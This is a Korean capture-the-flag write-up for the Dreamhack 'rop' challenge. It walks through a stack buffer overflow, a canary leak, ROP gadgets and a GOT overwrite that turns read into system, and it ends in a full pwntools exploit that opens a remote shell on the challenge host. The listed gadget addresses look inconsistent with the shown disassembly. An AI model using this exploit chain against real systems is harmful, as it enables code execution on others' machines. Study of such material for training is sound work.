War Game/Pwnable

[Dreamhack] rop

GunP4ng 2024. 9. 6. 23:12

rop 문제 풀이


1. 취약점 확인

1. C언어

checksec 명령어로 취약점을 확인해보자

[*] '/home/gunp4ng/pwnable/Dreamhack/rop/rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

x64 아키텍처에 Partial RELRO, Nx-bit, Stack Canary 가 적용된 것을 알 수 있다.

Partial RELRO 가 적용되어 GOT Overwirte 는 할 수 있다.

 

C 코드를 확인해보자

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

buf 의 크기는 0x30 이지만 read 함수로 0x100 만큼을 입력받아 BOF 가 발생한다.

 

//Leak canary 부분에서 read 함수로 buf 를 입력받는다

그 다음 printf 함수로 buf 를 출력한다.

→ Canary Leak 기법을 통해 Canary 를 알아낼 수 있다.

 

그 다음 다시 read 함수로 buf 를 입력받아 ROP 를 할 수 있다.

 

2. 어셈블리

main 함수의 어셈블리를 살펴보자

Dump of assembler code for function main:
   0x00000000004011d6 <+0>:     endbr64
   0x00000000004011da <+4>:     push   rbp
   0x00000000004011db <+5>:     mov    rbp,rsp
   0x00000000004011de <+8>:     sub    rsp,0x40
   0x00000000004011e2 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004011eb <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004011ef <+25>:    xor    eax,eax
   0x00000000004011f1 <+27>:    mov    rax,QWORD PTR [rip+0x2e78]        # 0x404070 <stdin@GLIBC_2.2.5>
   0x00000000004011f8 <+34>:    mov    ecx,0x0
   0x00000000004011fd <+39>:    mov    edx,0x2
   0x0000000000401202 <+44>:    mov    esi,0x0
   0x0000000000401207 <+49>:    mov    rdi,rax
   0x000000000040120a <+52>:    call   0x4010e0 <setvbuf@plt>
   0x000000000040120f <+57>:    mov    rax,QWORD PTR [rip+0x2e4a]        # 0x404060 <stdout@GLIBC_2.2.5>
   0x0000000000401216 <+64>:    mov    ecx,0x0
   0x000000000040121b <+69>:    mov    edx,0x2
   0x0000000000401220 <+74>:    mov    esi,0x0
   0x0000000000401225 <+79>:    mov    rdi,rax
   0x0000000000401228 <+82>:    call   0x4010e0 <setvbuf@plt>
   0x000000000040122d <+87>:    mov    edi,0x402004
   0x0000000000401232 <+92>:    call   0x401090 <puts@plt>
   0x0000000000401237 <+97>:    mov    edx,0x5
   0x000000000040123c <+102>:   mov    esi,0x402014
   0x0000000000401241 <+107>:   mov    edi,0x1
   0x0000000000401246 <+112>:   call   0x4010a0 <write@plt>
   0x000000000040124b <+117>:   lea    rax,[rbp-0x40]
   0x000000000040124f <+121>:   mov    edx,0x100
   0x0000000000401254 <+126>:   mov    rsi,rax
   0x0000000000401257 <+129>:   mov    edi,0x0
   0x000000000040125c <+134>:   call   0x4010d0 <read@plt>
   0x0000000000401261 <+139>:   lea    rax,[rbp-0x40]
   0x0000000000401265 <+143>:   mov    rsi,rax
   0x0000000000401268 <+146>:   mov    edi,0x40201a
   0x000000000040126d <+151>:   mov    eax,0x0
   0x0000000000401272 <+156>:   call   0x4010c0 <printf@plt>
   0x0000000000401277 <+161>:   mov    edi,0x402023
   0x000000000040127c <+166>:   call   0x401090 <puts@plt>
   0x0000000000401281 <+171>:   mov    edx,0x5
   0x0000000000401286 <+176>:   mov    esi,0x402014
   0x000000000040128b <+181>:   mov    edi,0x1
   0x0000000000401290 <+186>:   call   0x4010a0 <write@plt>
   0x0000000000401295 <+191>:   lea    rax,[rbp-0x40]
   0x0000000000401299 <+195>:   mov    edx,0x100
   0x000000000040129e <+200>:   mov    rsi,rax
   0x00000000004012a1 <+203>:   mov    edi,0x0
   0x00000000004012a6 <+208>:   call   0x4010d0 <read@plt>
   0x00000000004012ab <+213>:   mov    eax,0x0
   0x00000000004012b0 <+218>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004012b4 <+222>:   sub    rdx,QWORD PTR fs:0x28
   0x00000000004012bd <+231>:   je     0x4012c4 <main+238>
   0x00000000004012bf <+233>:   call   0x4010b0 <__stack_chk_fail@plt>
   0x00000000004012c4 <+238>:   leave
   0x00000000004012c5 <+239>:   ret
End of assembler dump.

buf 는 rbp-0x40 이다

  • buf : 0x40

buf 의 크기는 0x40 이다.

하지만 카나리가 포함된 크기이기 때문에 실제 buf 의 크기는 카나리 8byte 를 제외한 0x38 이다.

  • buf : 0x38

 

 

2. 익스플로잇 구성

1. 익스 플로잇 구성

  • write 함수로 read GOT 를 출력한다.
    • 출력한 read GOT 를 이용하여 read GOT - read offset 을 빼고 라이브러리 주소를 구한다
    • 라이브러리 주소 + system offset 을 하여 system 함수의 주소를 구한다.
  • read 함수로 read GOT 영역에 system 함수의 주소를 덮어씌운다 (GOT Overwrite)
    • read GOT + 0x8 영역에 "/bin/sh" 입력하기 위해 system 함수의 주소 뒤에 "/bin/sh" 을 추가한다.
  •  read GOT + 0x8 영역에 있는 "/bin/sh" 을 인자로 read 함수를 호출한다.

 

2. 카나리 우회

먼저 스택 구조를 살펴보자.

스택 구조

buf 의 크기는 0x40 이다.

하지만 카나리가 포함된 크기이기 때문에 0x8 만큼 뺀 0x38 이 buf 크기이다.

 

카나리 릭을 하기 위해서는 카나리의 제일 첫 번째 NULL byte 를 덮어씌워야 한다.

0x39 만큼 입력하면 카나리를 알아낼 수 있다.

 

3. 가젯 주소 구하기 

read 함수는 인자 3개를 필요로 한다.

따라서 rdi, rsi, rdx 레지스터의 순서로 인자를 전달 받는다.

 

pop rdi 가젯

pop rdi 가젯의 주소는 0x400853  이다.

 

pop rsi 가젯

pop rsi r15 가젯의 주소는 0x400851 이다.

rdx 레지스터는 함수 실행 후에 초기화 되지 않고 남아있는 경우가 많다.

따라서 pop rdx; ret; 가젯이 없어도 ROP 를 할 수 있다.

 

ret 가젯

ret 가젯의 주소는 0x400596 이다.

x64 환경에서는 함수를 실행할 때 스택이 16byte 로 정렬돼 있어야 한다.

따라서 스택 정렬을 위한 ret 가젯이다.

 

 

3. 익스플로잇

1. payload 구성

from pwn import *

# context.log_level = 'debug'
context(arch='amd64', os='linux')

p = remote('host3.dreamhack.games', 14101)
# p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']

# gadget
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400596

먼저 위에서 구한 정보들을 입력해주었다.

 

2. 카나리 릭

buf1 = b'A' * 0x39
p.sendafter('Buf: ', buf1)

# canary leak
p.recvuntil(buf1)
canary = u64(b'\x00' + p.recvn(7))
log.info(f'canary : {hex(canary)}')

buf 에 0x39 만큼 입력하면 카나리를 알아낼 수 있다.

 

3. ROP

# payload
payload = b'A' * 0x38
payload += p64(canary)
payload += b'A' * 0x8

# write(1, read_got, ...)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_plt)

# read("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter('Buf: ', payload)

알아낸 카나리 값을 이용하여 SFP 까지 덮어씌운다.

 

그 다음 write 함수를 이용하여 read GOT 를 출력한다.

read 함수를 이용하여 read_GOT 영역에 system 함수의 주소와 "/bin/sh" 을 입력한다.

 

read_GOT + 0x8 에 있는 "/bin/sh" 을 인자로 read 함수를 호출한다.

 

4. system 함수 주소 구하기

# libc base
read_addr = u64(p.recvn(8))
libc_base = read_addr - libc.symbols['read']
log.info(f'read : {hex(read_addr)}')

# system
system = libc_base + libc.symbols['system']
log.info(f'system : {hex(system)}')

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

write 로 출력한 read GOT 를 가져온 뒤 read offset 과 빼서 라이브러리 주소를 구한다.

라이브러리 주소에 system offset 을 더해 system 함수의 주소를 구한다.

 

system 함수의 주소와 "/bin/sh\x00" 을 보낸다.

"/bin/sh" 뒤에 \x00 은 8byte 로 맞춰주기 위한 것이다.

 

 

4. payload

1.  전체 payload

from pwn import *

# context.log_level = 'debug'
context(arch='amd64', os='linux')

p = remote('host3.dreamhack.games', 18486)
# p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']

# gadget
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400596

buf1 = b'A' * 0x39
p.sendafter('Buf: ', buf1)

# canary leak
p.recvuntil(buf1)
canary = u64(b'\x00' + p.recvn(7))
log.info(f'canary : {hex(canary)}')

# payload
payload = b'A' * 0x38
payload += p64(canary)
payload += b'A' * 0x8

# write(1, read_got, ...)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_plt)

# read("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

# pause()

p.sendafter('Buf: ', payload)

# libc base
read_addr = u64(p.recvn(8))
libc_base = read_addr - libc.symbols['read']
log.info(f'read : {hex(read_addr)}')

# system
system = libc_base + libc.symbols['system']
log.info(f'system : {hex(system)}')

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

전체 payload 이다.

 

플래그 획득

payload 를 실행하면 플래그를 획득할 수 있다.